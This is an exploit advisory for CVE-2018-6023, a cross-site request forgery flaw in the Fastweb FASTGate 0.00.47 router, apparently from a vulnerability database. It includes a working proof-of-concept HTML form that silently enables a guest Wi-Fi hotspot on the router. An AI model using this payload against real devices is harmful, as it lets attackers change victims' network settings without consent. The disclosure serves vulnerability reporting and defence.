Fastweb FASTGate 0.00.47 Cross Site Request Forgery

2018.05.10

Credit: Raffaele Sabato

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-6023

CWE: CWE-352

Ogólna skala CVSS: 6.8/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

# Exploit Title: Fastweb FASTgate 0.00.47 CSRF
# Date: 09-05-2018
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Fastweb
# Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/
# Version: 0.00.47
# CVE: CVE-2018-6023
 
I DESCRIPTION
========================================================================
 
An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site
request forgery (CSRF) vulnerability allows remote attackers to hijack the
authentication of users for requests that modify the configuration.
This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password
changing, etc.
 
II PROOF OF CONCEPT
========================================================================
 
## Activate Gues Wi-Fi:
 
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.254/status.cgi">
      <input type="hidden" name="&#95;" value="1516312144136" />
      <input type="hidden" name="act" value="nvset" />
      <input type="hidden" name="hotspot&#95;broadcast&#95;ssid" value="1" />
      <input type="hidden" name="hotspot&#95;enable" value="1" />
      <input type="hidden" name="hotspot&#95;filtering" value="all" />
      <input type="hidden" name="hotspot&#95;security" value="WPA2PSK" />
      <input type="hidden" name="hotspot&#95;ssid" value="GUEST&#45;Test" />
      <input type="hidden" name="hotspot&#95;timeout" value="&#45;1" />
      <input type="hidden" name="service" value="wl&#95;guestaccess" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 
III REFERENCES
========================================================================
http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Fastweb FASTGate 0.00.47 Cross Site Request Forgery

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.